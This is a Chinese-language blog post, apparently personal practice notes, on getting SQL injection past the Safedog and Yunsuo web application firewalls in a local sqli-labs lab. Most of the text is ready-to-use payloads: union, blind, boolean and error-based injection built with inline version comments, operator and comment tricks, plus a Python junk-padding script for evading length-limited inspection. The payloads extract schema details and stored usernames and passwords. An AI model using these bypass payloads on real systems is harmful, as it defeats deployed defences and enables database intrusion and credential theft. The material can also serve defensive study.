前言
之前一次意淫遇到sql注入,被waf拦截的没脾气,一般的bypass试了也没绕过,还是太菜了,在github上找了一篇文章,练习bypass。
bypass
bypass安全狗-联合注入
安全狗版本 4.0.2655
-
特殊运算符
|
表示按位或-
号也可绕过安全狗 -
内联注释(可惜我遇到的waf见到这个直接杀掉。。。)
/*!/*!/
这样直接拦截。
ok,这样是可以的。起初我还有一个小疑问就是中间的数字是啥,其实如果仔细看导出的sql的话,我们就会发现有时候会有这样的语句。这是mysql对标准sql的拓展,在注释中加入
!
,加上版本号
后只有当前mysql版本大于标注的版本号注释内的sql才会执行。换句话说这个注释就是mysql版本号。版本号固定5位,否则注入会出现错误。而这里为什么是11440
其他的为什么不行,那就是规则库的问题了。 -
注释绕过
union select注释+换行 拦截
union all select注释+换行 不拦截
两者的区别在于union会将多次查询结果作并集,而union all则会将多次查询原封不动输出,问题不大。
-
注入
作者给了几个payload,实测还没失效的
1)括号
2)反引号
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.`tables` where table_schema='security'--+
还有
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security'--+
过了from后面的过滤就好办了
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(column_name),3 from `information_schema`.columns where table_name='user'--+
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,username,password from `users` limit 1 --+
bypass安全狗-盲注
-
安全狗过滤
xx if
字样,其中xx
可以是and
或or
。无论后面如何混淆,如下,都会拦截http://192.168.1.11/sqli-labs/Less-9/?id=1%27%20and if((substr((select%20hex(user/**/(/*!*/))),1,1)%3E01),sleep/**/(/*!5*/),1)--+
而在and后可以加入奇数个特殊符号可以过狗。如
http://192.168.1.11/sqli-labs/Less-9/?id=1%27%20and~~~if((substr((select%20hex(user/**/(/*!*/))),1,1)%3E01),sleep/**/(/*!5*/),1)--+
还有
!!!
,---
。但在测试~~~
的时候,我设定的是延时5秒,但明显使用~~~
延时了10秒。至于原理,暂未找到资料。接下来的注入
http://192.168.1.11/sqli-labs/Less-1/?id=1%27%20and!!!if(substr(hex((select group_concat(table_name) from `information_schema`.tables where table_schema =0x7365637572697479)),1,1/**/)>5,sleep/**/(/*!2*/),0)--+
需要注意的是sleep函数的绕过,以及
security
的hex编码。group_concat(table_name)
的结果为656D61696C732C72656665726572732C756167656E74732C7573657273
需要遍历,比较耗时。 -
bool盲注
作者使用的payload为
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r
不能加引号。
但其实不用select,如
http://192.168.1.11/sqli-labs/Less-8/?id=1%27%20/*!%26%26*/ substr(unhex(hex(user/**/(/**/))),2,1)='o'--+
就可以加引号且未拦截。
-
报错
一般的注释绕过如下
http://192.168.1.11/sqli-labs/Less-2/?id=1%20/*!%26%26*/%20/*!11440updatexml*/(1,concat/**/(0x7e,user/**/(/**/),0x7e),1)--+
参考
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI
前言
本来想正儿八经来写云锁bypass的,傻乎乎试了几个payload发现,嗯?挺好过的呀,再次确认了一下,发现增强防护没开,尴尬了。。。正好今天t00l坛子里面提到了云锁注入,可以用垃圾数据填充绕过,之前没玩过,了解一下。
bypass
POST
-
云锁版本
增强防护已开
-
首先简单介绍垃圾数据填充原理。
市面上一些waf对http流量进行检测的时候会存在一个检测长度,如果数据包长度超过waf检测长度,就会不得已将数据包转发到后端。这样是为了避免waf的检测效率太慢而影响正常业务,也是为了防止waf缓冲区溢出。
-
下面我们来测试一下。正常POST请求
-
非法POST请求
-
生成一些垃圾数据
import random ls = [chr(i) for i in range(33,125)] ls.remove("#") # 防止url被注释,话说这个#号还有点东西,最后再说。 ls.remove("*") # 方面使用sqlmap报数据。 s = "" for i in range(10000): s = s+random.choice(ls) print(s)
-
填入数据后就可绕过
-
直接用sqlmap测试
检测到waf
tips
在POST测试的时候,发现如下payload可绕过waf
注意中间的#
.猜测云锁到#
时将后内容当作注释,直接没有检测。
GET
-
现在存在的问题就是POST数据包长度没有限制,而GET长度是存在限制的,如果过长那么会报错,过短又不能达到垃圾数据绕过的目的。
-
本人在测试的payload为
&id=1%27%20and%20/*!11440updatexml*/(1,concat(0x7e,(/*!11440select*/+group_concat(table_name)/**/from+information_schema.tables+where+table_schema=0x64767761),0x7e),1)--+&Submit=Submit
将前面的
1
去掉之后发现竟然可以绕过waf。而去掉一些垃圾数据后
可见垃圾数据可以扰乱云锁的正则规则。进而降低绕过难度。